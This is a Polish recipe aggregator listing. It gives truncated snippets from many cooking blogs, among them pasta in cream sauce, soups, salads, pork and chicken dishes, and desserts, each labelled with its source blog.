Tagietelle z kurczakiem i szpinakiem w sosie śmietanowym...   Potrzebne będą : 500 g piersi z kurczaka 200 g świeżego szpinaku baby 150 g makaronu tagietelle 3/4 szklanki śmietany 30% (można zastąpić jogurtem naturalnym wymieszanym z odrobiną mąki ziemniaczanej) 2 ząbki czosnku 1 cebula (opcjonalnie) sól, pieprz łyżka masła klarowanego lub oliwy parmezan do posypania  Pierś myjemy, osuszamy i kroimy

Pelusiowa Kuchnia
Sekwańskie Udeczka 153

Sekwańskie Udeczka Delikatne mięso z kurczaka z dodatkiem ziemniaków, polane sosem musztardowy. Składniki: ·        5 udek z kurczaka ·        6 łyżeczek płynnego miodu ·        180 g musztardy francuskiej ·        3 łyżki musztardy sarepskiej ·        Szczypta

Kulinarna Chwila
CARPACCIO Z BURAKA 147

łyżką kremu balsamico. Na półmisku układamy umytą i osuszoną rukolę, następnie plastry buraków. Na środek wykładamy hummus oraz pokrojoną w cieniutkie piórka czerwoną cebulę. Dookoła układamy połówki pomidorków. Dekorujemy sosem winegret, pozostałym kremem balsamicznym i posypujemy różowym pieprzem oraz czarnuszką

cool and minty
Curry z dynią, soczewicą i groszkiem cukrowym 134

zagotować. Gotować bez przykrycia przez 5 minut, następnie dodać obranego i pokrojonego w kosteczkę pomidora i gotować jeszcze przez około 15 minut do momentu aż warzywa zmiękną i sos zgęstnieje. Doprawić ewentualnie solą i pieprzem do smaku. Posypać kolendrą. Można podawać z ugotowanym ryżem.   SPODOBAŁ CI SIĘ TEN WPIS? UWAŻASZ, ŻE JESZCZE KOMUŚ MOŻE SIĘ PRZYDAĆ? BĘDZIE MI BARDZO

Calzonella.com
Szakszuka 127

paski i w kostkę pokrojony pomidor (dodać ewentualnie passatę wg. gustu) oraz plasterki kiełbasy, smażyć aż pomidor się rozpadnie, a papryka będzie lekko twarda, rozbić jajka bezpośrednio na powstały sos i gotować pod przykryciem,aż jajka się zetną(najlepsze miękkie żółtko),  podawać z dodatkiem rukoli, można całość posypać szczypiorkiem

Kuchnia Beaty
Domowe nuggetsy w panierce z płatków kukurydzianych 196

piekarniku.  Uwaga: należy przestrzegać czasu pieczenia, ponieważ dzięki temu kawałki kurczaka będą soczyste w smaku. Nuggetsy są p roste do przygotowania i bardzo smaczne. Najlepiej smakują podane z sosem, np. pomidorowym, czosnkowym.  Składniki na 3-4 porcje: 1 duża, podwójna pierś z kurczaka sól, pieprz słodka papryka ciasto naleśnikowe 1 szklanka mleka 1/2 szklanki mąki pszennej

Ugotować
Kotleciki z kurczaka po japońsku 169

Niewiele trzeba się napracować by przygotować taki obiad. Mięso jest smaczne, aromatyczne i soczyste. Składniki: * 40 - 50 dkg mięsa z kurczaka * mąka ziemniaczana * olej do smażenia Marynata: * 4 łyżki sosu sojowego * 1/5 szklanki białego wytrawnego wina * 1/2 łyżeczki imbiru Dodatki: * papryka * cebula * brokuł * sól Mięso pokroiłam w kawałki ok. 4 cm. Miałam mięso  piersi kurczaka.  Składniki na marynatę

Pieprzyć z Fantazją
Pieczone Bataty 144

przyprawami. Tak przygotowanym farszem wypełnić bataty, ponownie ułożyć w blaszce, posypać mozzarellą i zapiekać 15 minut w temp 200 stopni. Po upieczeniu posypać startym parmezanem. Można podawać z dodatkiem sosów np czosnkowy, pomidorowy. Smacznego:)     Artykuł Pieczone Bataty pochodzi z serwisu

gotuj ze mną
GLAZUROWANE PIECZONE BURACZKI 141

dolewamy wino i chwilę odparowujemy.  Dodajemy igiełki rozmarynu oraz miód i ocet balsamiczny (lub 2 łyżki kremu balsamico). Smażymy na małym ogniu, bez przykrycia, 1-2 minuty, aż sos lekko zgęstnieje.  Próbujemy i w razie potrzeby doprawiamy do smaku

cool and minty
Koreczki śledziowe po tatarsku 133

Uwielbiam śledzie w każdej postaci,tym razem w sosie tatarskim i podane w formie koreczków,świetnie sprawdzą się na różnych imprezach domowych czy świętach,polecam gorąco

Swojskie jedzonko
Szare kluski 178

Kluski z surowych, tartych ziemniaków. Podajemy z podsmażoną cebulką, zasmażaną kapustką, sosami, ... Składniki: 800 g obranych ziemniaków 200 g mąki pszennej (typ 500) czubata łyżka mąki ziemniaczanej 2 jajka Wykonanie: Ziemniaki trzemy na tarce o drobnych oczkach, i przekładamy na sitko, umieszczone na misce. Odstawiamy na 20-30 minut. W międzyczasie kilka razy ziemniaki mieszamy łyżką. To ułatwi pozbycie się

Smak mojego domu
Zupa pieczarkowa krem 160

Pieczarki to bardzo smaczne grzyby – są świetnym dodatkiem do wielu dań np. gulaszy, sosów, zapiekanek. Tym razem pieczarkowych smakoszy zapraszam na zupę-krem Gęsta… sycąca… pyszna… – zupa w sam raz na obiad, kolację, a nawet rodzinne uroczystości Dodałam do niej aromatyczne zioła prowansalskie, dzięki którym ma bardzo apetyczny zapach .   Smaczne zupy… ** Zupa krem

Kulinarne S.O.S.
Zupa pieczarkowa krem 160

Pieczarki to bardzo smaczne grzyby – są świetnym dodatkiem do wielu dań np. gulaszy, sosów, zapiekanek. Tym razem pieczarkowych smakoszy zapraszam na zupę-krem Gęsta… sycąca… pyszna… – zupa w sam raz na obiad, kolację, a nawet rodzinne uroczystości Dodałam do niej aromatyczne zioła prowansalskie, dzięki którym ma bardzo apetyczny zapach .   Smaczne zupy… ** Zupa krem

Kulinarny S.O.S.
Bliny bezglutenowe z kawiorem z grzybów leśnych 144

którymi je podamy. Najprostszy sposób na zaserwowanie blin to podanie ich z masłem lub śmietaną. W bardziej wykwintny sposób możemy podać je z łososiem , śledziem, serem, sałatką, kawiorem, grzybami, sosem… lista jest nieskończona. Ze względu na tak ogromne możliwości zaserwowania bliny idealne sprawdzają się jako danie przekąska na licznych imprezach okolicznościowych. Ja tym razem zrobiłam bliny bez glutenu

mecooks
Pizza na cieście francuskim 154

nieduża cukinia – 1 czerwona cebula – oliwa z oliwek extra vergine – 60-100 g mozzarelli – opakowanie ciasta francuskiego – gęsty ocet balsamiczny (można kupić sos balsamico) – listki świeżej bazylii Przygotowanie : Przygotowanie tej pizzy jest dość nietypowe, bo robi się ją w odwróconej kolejności. Dlaczego? Aby pizza nie nasiąkła sokami i nie była cienka i płaska. Zróbcie

nietylkopasta.pl
Kotlety z kaszy jaglanej z dipem czosnkowym 147

Składniki na kotlety: szklanka kaszy jaglanej łyżeczka soli odrobina pieprzu jajko łyżka mąki kukurydzianej łyżka otrąb owsianych natka pietruszki ½ czerwonej papryki ząbek czosnku olej do smażenia składniki Składniki na sos jogurtowy: jeden jogurt naturalny sól odrobina soku z cytryny 3 ząbki czosnku Wykonanie: Ugotować kaszę jaglaną  na gęsto stosując proporcje : 1 objętość kaszy :2,5 objętości wody. Cebulę

Pomysłowa kuchnia
Caponata 111

Caponata Do kaszy, ryżu lub makaronu, sam sos to czasami za mało… Fajnie jest mieć coś pod zębem, a jednocześnie nie narobić się przy tym! Bardzo fajnym rozwiązaniem tej potrzeby, są różnego rodzaju gulasze, a dzisiejszy, na włoską modłę, to ostatnio mój ulubiony. Caponata sycylijska, bo to o niej mowa, jest połączeniem świeżych pomidorów z bakłażanem i kaparami

Blendman
Domowy dietetyczny majonez 124

zawiera tylko 107 kcal w 100 g. Są w nim jednak składniki, na które warto zwrócić uwagę, bo działają korzystnie na organizm. Sos majonezowy ma szerokie zastosowanie, możesz go dodawać do większości potraw, takich jak: sałatki, burgery, ryby, dania mięsne oraz do przystawek i dodatków do dań: frytek

Wymiar Zdrowia
Zapiekanka makaronowa z serami 128

prostych składników można wyczarować naprawdę wyjątkowy posiłek.Dziś przedstawiam przepis na szybką i smaczną zapiekankę makaronową z tuńczykiem w delikatnym sosie serowym. Szybka i łatwa wykonaniu, gwarantuje udany obiad nawet w tygodniu. Polecam Składniki: 200 g razowego makaronu świderki  120 g tuńczyka w puszcze  50 g sera pleśniowego

Wymiar Zdrowia
Sałatka z paluszkami krabowymi (surimi) 178

gości… na imprezę… na sylwestra… na piknik Zapraszam!!!   Pomysły na przekąski… ** Roladki z tortilli ** Domowe pieczywo czosnkowe ** Sałatka brokułowa z papryką ** Jajka w sosie czosnkowym   Składniki: 100g makaronu w kształcie ryżu 1 opakowanie paluszków krabowych (250 g) 1 duża papryka 1 ogórek szklarniowy lub kilka gruntowych 1 puszka kukurydzy konserwowej

Kulinarne S.O.S.
Sałatka z paluszkami krabowymi (surimi) 178

gości… na imprezę… na sylwestra… na piknik Zapraszam!!!   Pomysły na przekąski… ** Roladki z tortilli ** Domowe pieczywo czosnkowe ** Sałatka brokułowa z papryką ** Jajka w sosie czosnkowym   Składniki: 100g makaronu w kształcie ryżu 1 opakowanie paluszków krabowych (250 g) 1 duża papryka 1 ogórek szklarniowy lub kilka gruntowych 1 puszka kukurydzy konserwowej

Kulinarny S.O.S.
Schab na kanapki 173

gotowaniepatki https://m.facebook.com/gotowaniepatki/   Skladniki:  1.5 kg schabu bez kości  Marynata :  4 łyżki ketchupu pikantnego  2 łyżki oleju rzepakowego  1 łyżka sosu sojowego  łyżka papryki mielonej słodkiej Skworcu  łyżka papryki mielonej ostrej Skworcu  łyżka czosnku mielonego Skworcu  3 łyżki cebuli suszonej Skworcu  2 łyżki suszonego koperku Skworcu

Gotowanie Patki
Koperty z ciasta francuskiego z pieczarkami, boczkiem i serem 216

odparowania wody, doprawiamy do smaku solą i pieprzem, studzimy. Koncentrat mieszamy z solą, pieprzem i przeciśniętym przez praskę czosnkiem. 2. Ciasto francuskie kroimy na 8 kwadratów. Smarujemy przygotowanym sosem pomidorowym, na każdy z kwadratów wykładamy pieczarki i po 1 plasterku boczku. Sklejamy przeciwległe rogi każdego z kwadratów, posypujemy serem.  3. Pieczemy w temperaturze 200 stopni przez 20-25 minut

Szefowa kuchni
Śniadaniowa patelnia – Jajka sadzone na pieczarkach i pomidorach 226

pominąć, ale wzbogaca smak) i wrzucamy obrane i pokrojone na półplasterki pieczarki. Smażymy. Następnie dodajemy pokrojone w kostkę pomidory. Całość doprawiamy do smaku solą i pierzem, smażymy. Gdy „sos” prawie całkiem wyparuje odsuwamy lekko składniki i w te miejsca wbijamy jajka. Przykrywamy patelnię pokrywką i smażymy do ścięcia białek. Całość dodatkowo oprószamy świeżo mielonym pieprzem i niewielką ilością

Słodkie okruszki
Ramen - zupa szczęścia i miłości 148

receptury na esencje smakowe jak syczuańska pasta z chili czy mayu - olej z palonym czosnkiem. Miłym zaskoczeniem były dla mnie przepisy na makarony -  ramen, udon i soba oraz sos ponzu. Dotychczas wykorzystywałam do ramenu przyprawy i makarony kupione w sklepach internetowych, niebawem spróbuję przygotować je samodzielnie. Całość uzupełniają przepisy na przekąski czyli "małe dania", pierożki gyoza z rozmaitymi farszami

Kulinaria - potrawy z różnych stron świata
Zupa dyniowa z mlekiem kokosowym 265

Składniki: 1/3 średniej dyni kawałek imbiru (50 g po obraniu) 1 puszka mleka kokosowego 1/2 mleka zwykłego sól, pieprz 1 mini papryczka chili 2 łyżki sosu sojowego groszek ptysiowy do … Czytaj dalej Zupa dyniowa z mlekiem kokosowym

czarrna od kuchni
Makaron pappardelle z łososiem, szpinakiem i suszonymi pomidorami 259

kolejny pomysł na szybki do przygotowania obiad - makaron pappardelle (typu szerokie wstążki) podsmażony ze szpinakiem, łososiem i suszonymi pomidorami. Całość otulona śmietanowym sosem. Prosto i smacznie.  Składniki na 2 porcje: 150 g makaronu pappardelle (szerokie wstążki) 150 g mrożonego szpinaku (w liściach) 300 g filetu z łososia 2 ząbki czosnku 6 suszonych pomidorów 1/2 szklanki mleczka kokosowego (lub śmietany

Ugotować
Sałatka z pieczonych ziemniaków i kalafiora z musztardowym pesto z orzechów laskowych 185

Pieczemy do miękkości 30 - 35 minut. Orzechy prażymy na suchej patelni. 4. W blenderze miksujemy łyżkę uprażonych orzechów, musztardę, 2 łyżki oliwy, ocet i większość koperku. 5. Powstały sos mieszamy z upieczonym kalafiorem i ziemniakami. Posypujemy pozostałym koperkiem, kaparami i pozostałymi posiekanymi orzechami. Doprawiamy solą i pieprzem. Smacznego

kruche babeczki
Pieczone ziemniaki z rozmarynem 217

wspaniale smakują w towarzystwie najróżniejszych mięs. Idealne połączenie. Takie ziemniaczki często też przygotowuję na przyjęcia czy spotkania z rodziną i przyjaciółmi. Wówczas podaję je np. wyłącznie w towarzystwie domowego sosu czosnkowego lub innego podobnego. Dodatek rozmarynu nadaje ziemniakom wyjątkowego smaku i aromatu. Zainspirowałam się tu przepisem na pieczone ziemniaki z bloga „Po prostu pycha”  I jak zawsze

Słodkie okruszki
Pieczeń z mięsa mielonego 187

będzie upieczone a boczek rumiany.  Pieczeń z mięsa mielonego podawać na ciepło z pure ziemniaczanym lub z pure ze słodkich ziemniaków i ulubioną sałatą. Mięso i/lub ziemniaki polać sosem i upieczonym koprem włoskim.  Smacznego

Codzienne Gotowanie
Kurczak w szeregu 162

małymi marchewkami, grubymi plastrami cebuli i papryki. Całość lekko spryskujemy olejem. Pieczemy około 1h 15-20 minut w 180 stopniach. W między czasie 2-3 krotnie polewamy ćwiartki powstałym sosem. Skórka ma być zarumieniona i chrupiąca. ps. Jeśli chcecie bardzo chrupko, posmarujcie wierzch odrobiną miodu. Share 0 Tweet 0 Save 0 0 Shares

Latosiowydom
Dieta ketogeniczna: na czym polega jej sukces? 167

bekonu. Aby wprowadzić nasz organizm w stan ketozy, musimy dostarczać mu przede wszystkim tłuszcze, trochę białek wysokiej jakości i minimalną ilość węglowodanów. Źródłem tłuszczów będą głównie: bekon, masło, oleje, sosy, sery, jogurty, ryby i owoce morza, mięso, awokado, oliwki, orzechy, jajka. Węglowodany będą pochodzić z zielonych warzyw takich jak: szpinak, sałata, szparagi, cukinia, rzodkiewka, ogórek czy kalafior. Z owoców dozwolone

codojedzenia
Kurki w śmietanie 170

Klasyczny sposób na przygotowanie kurek. Przyznać się, kto tak nie przygotowywał tych wspaniałych grzybów? Kremowy, aromatyczny sos może stanowić osobne danie, jak i dodatek do obiadowego mięsa. Składniki (2 porcje) -400 g kurek -200 g kwaśnej śmietany -1/2 cebuli -szczypiorek -sól, pieprz -2 masła Przygotowanie Cebulę obrać i drobno posiekać. Zeszklić na patelni na rozgrzanym maśle. Kurki umyć

Zielona Kuchnia
Gotowane klopsiki z indyka w sosie śmietanowo – grzybowym 150

leśne. Gotujemy około 20 minut. Pod koniec gotowania odlewamy pół szklanki bulionu. Mieszamy go z e śmietaną i mąką. Ponownie przelewamy do mięsa i gotujemy jeszcze kilka minut aby sos delikatnie zgęstniał. Podajemy z kluseczkami lub ziemniakami

VioletoweKucharzenie
Gnocchi w sosie z gorgonzolą i orzechami 209

silny smak gorgonzoli, chrupkość orzechów i delikatność gnocchi. Proste i gotowe danie w niecałe pół godziny. Gorgonzola i orzechy włoskie to świetne połączenie, a z odrobiną mleka tworzą idealny sos do gnocchi. Cudowna prostota i klasyka Włoch. A jeśli lubisz kremowe dania z makaronu, oto przepis dla Ciebie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kanie w zalewie orientalnej 120

koniec w bułce tartej. Smażymy na rozgrzanym oleju. Osączamy z nadmiaru tłuszczu. W tym samym czasie cebule kroimy w piórka, przekładamy do garnka, dodajemy ketchup, gorczycę, ocet, kaffir, przyprawę, sos mango, sól wędzoną, miód i wodę (1 litr ), zagotowujemy. Do słoików przekładamy kanie, zalewamy marynatą. Słoiki pasteryzujemy w piekarniku 130°C przez godzinę

R'n'G Kitchen
Pikantne kulki serowe 196

Kiedy gorący wrzucić kulki. Smażyć na złoty kolor (nie zbyt długo jednak, gdyż ser może zacząć wypływać z kulek). Usmażone kulki osączyć na papierowym ręczniku. Kulki podawać z pikantnym sosem albo ketchupem. Pikantne kulki serowe Smacznego! O czym warto pamiętać robiąc kulki serowe. Pikantne kulki serowe Jeśli lubicie pikantne dania to bez dwóch zdań sięgnijcie po ostrą paprykę . Ja miałam

mecooks
Fit frytki warzywne z piekarnika 159

frytki warzywne z piekarnika Smaczny, zdrowy, kolorowy i niskokaloryczny obiad, a dodatkowo bardzo smaczny. Pieczone frytki możemy podać z sosem czosnkowym albo ketchupem.     Składniki: 3-4 łyżki oliwy lub oleju – na 1 kilogram warzyw przyprawy: sól, pieprz, papryka mielona – słodka i ostra, suszone oregano i bazylia Warzywa do wyboru: ziemniaki marchew cukinia dynia papryka buraki

Blog z Apetytem
Zdrowe dyniowe kulki mocy 125

Chwila, chwila! Chyba znalazłam idealną przekąskę na jesień – zdrowe dyniowe kulki mocy! Były już ciasta , babeczki , zupy i cała masa makaronów z sosami dyniowymi . A czy robiliście już magiczne kuleczki na dwa kęsy z dodatkiem dyni? Przepis jest bardzo prosty, wydajny i zajmuje niewiele czasu. Same naturalne składniki, które zwłaszcza jesienią z pewnością macie w domu. Dynia, masło orzechowe

Słodkie Gotowanie
Chlebek pita 246

Placki pszenne pieczone w piekarniku. Mocno napuszają się podczas pieczenia. Z przepisu uzyskacie 4 pity, które możecie dowolnie nadziewać – warzywami, mięsem, sosami. Moja wersja nadzienia to mięso drobiowe zamarynowane

Bullio
Pączki dyniowe 150

jesieni . Pączki dyniowe Dynia jest warzywem uniwersalnym albowiem równie dobrze sprawdza się w daniach wytrawnych jak i w daniach słodkich. Oczywiście z dyni zazwyczaj robię zupy czy makarony z sosem. Robiłam już także muffiny dyniowe , ciasto dyniowe teraz przyszedł czas na pączki. Pączki , które przygotowałam są na bazie ciasta drożdżowego . Do ciasta dodałam kilka dodatkowych składników. Poza dynią użyłam przypraw

mecooks
Piersi z kurczaka duszone w sosie z dynią i szpinakiem 160

Miękkie i soczyste piersi z kurczaka duszone w całości w sosie z dynią oraz szpinakiem. Dodatek curry oraz śmietanki kokosowej nadaje lekko orientalnej nuty, ale jeżeli wolicie bardziej tradycyjne smaki, to można wykorzystać zwykłą śmietanę 18%, a curry po prostu pominąć- tak też będzie pysznie ☺️ Z kaszą tworzy kapitalny duet👌 2 porcje: 2 piersi z kurczaka 250 ml wody

Kraina Miodem Płynąca
Szynka wieprzowa w sosie grzybowym 198

Sos na bazie świeżych grzybów z cebulą, czosnkiem, przyprawami, zabielony śmietaną. Pyszne kruche mięso szynki rozpływa się w ustach! Z podanych proporcji wychodzi solidny garnek smakowitości. Składniki: 1 kg szynki wieprzowej, ok 600 g wcześniej obgotowanych grzybów (podgrzybki, maślaki lub inne ulubione), 2 średniej wielkości cebule, 2 duże ząbki czosnku, ok 700 ml bulionu, 200 ml śmietany

Lena Gotuje
Sałatka jarzynowa z porem i gruszką 126

małą kostkę. To samo dotyczy obranych gruszek, ogórków, jajek i pora. Wszystko wrzucamy do miski, dosypujemy odcedzony groszek. Do słoika wlewamy jogurt, majonez i musztardę, zamykamy i energicznie mieszamy. Sos wlewamy do warzyw, doprawiamy solą i pieprzem. Wszystko bardzo dokładnie mieszamy i wkładamy do lodówki

Kardamonovy
Drobiowe kotleciki Szu Szu 241

wypróbowałam przepis.  Takie kotleciki zrobię jeszcze nie raz na obiad, bo okazały się bardzo pyszne! Domownicy stwierdzili, że jest to świetna imprezowa przekąska z dodatkiem oczywiście   sosu czosnkowego . Składniki:  * 60 dkg piersi z kurczaka * 3 żółtka * 3 łyżki mąki ziemniaczanej * 2 łyżki śmietany * 3 ząbki czosnku * 1 łyżeczka soli * 1/2 łyżeczki papryki słodkiej * 1/3 łyżeczki papryki

Pieprzyć z Fantazją
Lazania po meksykańsku 144

było tak cudnie. No nic taka kolej rzeczy, teraz czekamy do wiosny :-) Moja propozycja obiadowa to lazania po meksykańsku. Mięso z dodatkiem fasoli, kukurydzy, papryki i papryczki chilli z sosem pomidorowym to farsze tej lazanii. Wyszła pyszna, polecam i miłego poniedziałku życzę :-) Składniki: 16 płatów makaronu do lazanii 250 g startej mozzarelli Farsz: 400 g mięsa z szynki mielonego

kruche babeczki
Farszynki 154

farsz, zawijać i formować kotleciki. Obtoczyć w bułce tartej. Smażyć na niezbyt silnym ogniu na rumiano z obu stron. Smażymy na maśle z olejem lub oleju. Podawać z sosem grzybowym. zastawa

królestwo garów
Kurczak gyros 465

obsypać przyprawami, skropić oliwą i zostawić na minimum 2 godziny w lodówce do zamarynowania, Kurczaka smażyć na rozgrzanej oliwie aż się zarumieni, Podawać z pieczonymi ziemniakami lub ryżem i sosem np. tzatziki Artykuł Kurczak gyros pochodzi z serwisu tyfranbox

tyfranbox
Pasta z tuńczyka do krakersów 128

krakersów ale też świetna do kanapek. To świetna pozycja na przekąski imprezowe a przecież jest karnawał:) Pasta z tuńczyka idealna do krakersów 1 puszka tuńczyka w kawałkach w sosie własnym 150 g kremowego serka łyżeczka startej skórki z cytryny 1/2 pęczka szczypiorku 1/2 pęczka koperku 1/2 czerwonej cebuli 2 łyżki soku z cytryny sól, pieprz i ostra papryka do smaku

Smaczny zeszyt
Mięsna zapiekanka pod puree ziemniaczano-marchewkowym 114

patelni i smażyć ok 5-10 minut, dodać pomidory i oregano i poddusić całość ok 5 minut. Do mięsa dodać odłożone wcześniej pieczarki, wymieszać, doprawić solą i pieprzem. Sos przełożyć do naczynia do zapiekania. Ugotowane, gorące warzywa przełożyć oddzielnie do 2 miseczek. Do marchewki dodać łyżkę masła, połowę koperku, doprawić solą i pieprzem i rozgnieść na puree. To samo zrobić

Smaczny zeszyt
Sałatka z cukinią i kaszą quinoa 167

siołami i solą, obtoczyć w niej cukinie. Plasterki cukinii podsmażyć na patelni grillowej ( albo podpiec w piekarniku). Oliwę, sól i skórkę z cytryny wymieszać, dodać sól i pieprz. Sos wymieszać z lekko ciepłą kaszą. Kaszę wyłożyć na talerze, na niej położyć plasterki cukinii, dodać bazylię i orzechy pistacjowe

Smaczny zeszyt
Gazpacho z avocado i ogórka 158

zielona papryka 1 ząbek czosnku 2 cebulki dymki ( wraz ze szczypiorem) pół pęczka natki pietruszki 250 ml jogurtu naturalnego 2  miękkie avocado sok z połowy cytryny 1 łyżeczka sosu chilli (albo tabasco) sól, pieprz do smaku Ogórki w razie potrzeby pozbawić pestek, posiekać na kawałki. Cebulkę, paprykę pokroić na kawałki, czosnek i natkę posiekać. Przełożyć warzywa do blendera razem

Smaczny zeszyt
Zapiekane naleśniki po meksykańsku 151

Usmażyć na oleju cienkie naleśniki. Dokończyć nadzienie:  Na patelni rozgrzać olej, dodać cebulę i marchewkę smażyć 10 minut. Dodać mięso mielone i smażyć 15 minut. Dodać fasolę, kmin, sos pomidorowy i chilli, wymieszać, chwilę podsmażyć i zestawić z ognia-  lekko przestudzić. Naleśniki nadziewać mięsem i układać w naczyniu do zapiekania. Wstawić do piekarnika nagrzanego do 180 stopni, piec

Smaczny zeszyt
Śledź z żurawiną w curry 168

serią przepisów świątecznych - będą dania wigilijne, propozycje na uroczyste obiady i wystawne ciasta. Zaczynam od śledzia, bez którego nie wyobrażam sobie Wigilii. Moja propozycja to śledź z żurawiną w sosie curry, jak nie próbowaliście tego połączenia to czas najwyższy. Śledź z żurawiną w curry Składniki: opakowanie śledzi matjas (250 g) 1 cebula szczypta cukru 1/3 szklanki suszonej żurawiny

Smaczny zeszyt
Frittata z ziemniakami i cukinią 168

przełożyć całość na przykrywkę i potem zsunąć odwrotną stroną na patelnię albo wstawić do piekarnika pod grill ( gdy macie metalową rączkę przy patelni albo zdejmowaną). Można podawać z jogurtem, sosem tzatziki, sałatką z pomidora. Dodaj napis

Smaczny zeszyt
Sałatka z grillowanej cukinii i papryki z halloumi 147

Letnia sałatka z grillowanej cukinii i papryki z pomidorkami i halloumi w sosie balsamicznym. Cukinię i paprykę można zgrillować na patelni grillowej lub jeszcze lepiej na grillu, gdzie z dodatkiem słonego sera halloumi będzie świetną propozycją na grilla dla wegetarian. Latem mogłabym jeść tylko takie dania:) Sałatka z grillowanej cukinii i papryki z halloumi Składniki: 2 cukinie 2 papryki

Smaczny zeszyt
Nadziewana kalarepka zapiekana z bobem 165

Dziś kolejne pyszne, letnie danie - kalarepka nadziewana ryżem, zapieczona z bobem, boczkiem i porami w śmietanowym sosie. Delikatna, miękka kalarepka z ryżem i cebulką a do tego podgotowany wcześniej bób, z podsmażonym boczkiem i śmietaną. Lato w pełni :) Nadziewana kalarepka zapiekana z bobem Składniki : 5 kalarepek 100 g ryżu 4  łyżki  oliwy 1 posiekana cebula ½ jasnozielonej papryki szczypta

Smaczny zeszyt
Potrawka z kurczaka, cukinii i kukurydzy 143

czas, kiedy wszystko co wrzucisz do garnka i ugotujesz dobrze smakuje. Tak mniej więcej powstało to danie, miałam cukinię z ogródka, świeżą kukurydzę i piersi z kurczaka zagrodowego, dodałam sos pomidorowy, obowiązkowo czosnek i trochę ziół i powstała pyszna potrawka - do podania z kaszą, makaronem albo ryżem. Potrawka z kurczaka, cukinii i kukurydzy Składniki: 4 łyżki oliwy 1 cebula

Smaczny zeszyt
Zapiekanka ziemniaczana z grzybami leśnymi 222

blogu już wcześniej pojawiały się dania z grzybami leśnymi jak   tarta   czy   risotto . Dziś przepis na zapiekankę ziemniaczaną z grzybami leśnymi. Proste składniki - ziemniaki, grzyby i sos śmietanowy, zapieczone razem tworzą pyszną kompozycję smaków. Do tego warto podać jakąś sałatę i pyszny obiad gotowy. Zapiekanka ziemniaczana z grzybami leśnymi  Składniki: 1 kg ziemniaków 2 cebule

Smaczny zeszyt
Łopatka wieprzowa pieczona w smalcu z papryką, cukinią, cebulą i czosnkiem 158

zimno do kanapek. Dzięki esencji Knorr do duszonych warzyw nie trzeba ich dodatkowo doprawiać. Duża ilość warzyw powoduje, że cała potrawa, pomimo smalcu jest bardzo lekka. Na zimno z sosu powstaje bardzo delikatna galaretka. Co potrzeba: 1,4 – 1,5 kg łopatki wieprzowej bardziej okrągłej, 1 sztuka esencji Knorr do duszonych warzyw, 1 główka czosnku, 1 średnia cukinia, 1 kostka

Bułka z Chlebem
Filety z udźca kurczaka w cebulowej pierzynce 156

cebulową. Mieszamy, doprowadzamy do zagotowania się płynu, zmniejszamy płomień, gotujemy 30 minut co jakiś czas mieszając i odwracając mięso. W tym czasie płyn się zredukuje i powstanie pyszny cebulowy sos. W razie potrzeby doprawiamy solą i pieprzem. Smacznego :)) kurczak, udziec kurczaka, zupa francuska

Bułka z Chlebem
Pierś kurczaka w marynacie smażona z warzywami 118

kurczaka, 200 g pokrojonej botwinki z malutkimi buraczkami, 1 zblanszowany brokuł, 2 duże cebule, 6 łyżek oleju rzepakowego, 1 płaska łyżeczka soli Co potrzeba na marynatę: 3 łyżki sosu sojowego jasnego, 1 łyżeczka soku z cytryny, 1 pełna łyżka oregano, 1 pełna łyżka czosnku niedźwiedziego, 1 łyżka oleju rzepakowego Wykonanie: Składniki na marynatę mieszamy w misce. Dodajemy pokrojone w cienkie

Bułka z Chlebem
Łopatka wieprzowa w sosie miodowo-musztardowym 143

stopniowo wodą do pełna cały czas mieszając, żeby mąka dobrze się rozprowadziła. Wlewamy do mięsa, dolewamy jeszcze 0,5 szklanki wody, mieszamy, gotujemy 5 minut od chwili zagotowania się sosu. Mięso dobrze komponuje się z makaronem. Smacznego :)) łopatka, maggi, musztarda francuska, sok z cytryny

Bułka z Chlebem
Schab po dolnośląsku 167

łyżeczką pieprzu, smażymy na średnim płomieniu cały czas mieszając, żeby się nie przypaliły, aż do odparowania płynu. Wówczas wlewamy śmietankę, mieszamy, dajemy z powrotem mięso, zanurzamy je nieznacznie pod sosem z pieczarkami. Patelnię przykrywamy pokrywką, wkładamy do piekarnika nagrzanego do 170°C, pieczemy 30 minut na termoobiegu. Smacznego :)) schab, kotlety schabowe, śmietanka pieczarki

Bułka z Chlebem
Jak zrobić kolorowy drip na tort 252

dobrze schłodzony, najlepiej przez całą noc w lodówce lub przez kilka godzin w zamrażalniku. Jest kilka metod wykonania dripu: za pomocą łyżeczki ( zobacz film ) za pomocą butelki (dyspensera) do sosów ( zobacz film ) za pomocą szpatułki: należy wylać odpowiednią ilość polewy na środek tortu, a następnie za pomocą szpatułki rozprowadzić ją pozwalając by część spłynęła po brzegach

Słodki Blog
Cukinia zapiekana z parmezanem i mozzarellą 173

parmezan, Każdy kawałek cukinia zamoczyć w jajku, następnie obtoczyć w serach i przełożyć na blachę, Piec przez około 15-20 minut do zarumienienia, Podawać na ciepło najlepiej z sosem czosnkowym. Artykuł Cukinia zapiekana z parmezanem i mozzarellą pochodzi z serwisu tyfranbox

tyfranbox
7 warzyw, które idealnie pasują do tuńczyka 499

Pomidory Pomidor często występuje obok tuńczyka jako składnik sałatek, past i farszy. Nic dziwnego – ich smaki dobrze ze sobą współpracują. Ryba świetnie pasuje do świeżych pomidorów, a także do sosów czy pomidorów suszonych. Te ostatnie nadają tuńczykowi wyrazistości i podkreślają jego naturalny smak. Warto osobiście się o tym przekonać, sięgając na przykład po sycący posiłek Salatino Tuńczyk z kuskusem perłowym

Tradycyjna Kuchnia
Omlet z rydzami 144

pokroić w trójkąty. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Kopytka z rydzami smażonymi na maśle → Smażone pierogi szafranowe z rydzami i czerwonym pieprzem → Boczniaki w aromatycznym sosie śmietanowym z kaszą orkiszową → Kasza jęczmienna z kurkami, szpinakiem i jajkiem sadzonym → Omlet ze szparagami, boczkiem i parmezanem

Oryginalny smak
Danie jednogarnkowe z kiszoną kapustą i grzybami 128

oszczędność czasu a trzy oszczędność pieniędzy. Gotując dania jednogarnkowe robię przegląd lodówki i szafek i działam – dorzucam warzywa, które już trzeba wykorzystać bo lekko więdną, resztki sosów, przetworów, okrawki wędlin. Dzisiaj danie jednogarnkowe z kiszona kapustą i grzybami, z ziemniakami, marchewką, fasolą – bardzo smaczne – polecam szczególnie dla fanów bigosu. Porcje tego dania świetnie się mrożą. PRZEPIS

Dorota Smakuje
Spaghetti z grzybami w smietanie 131

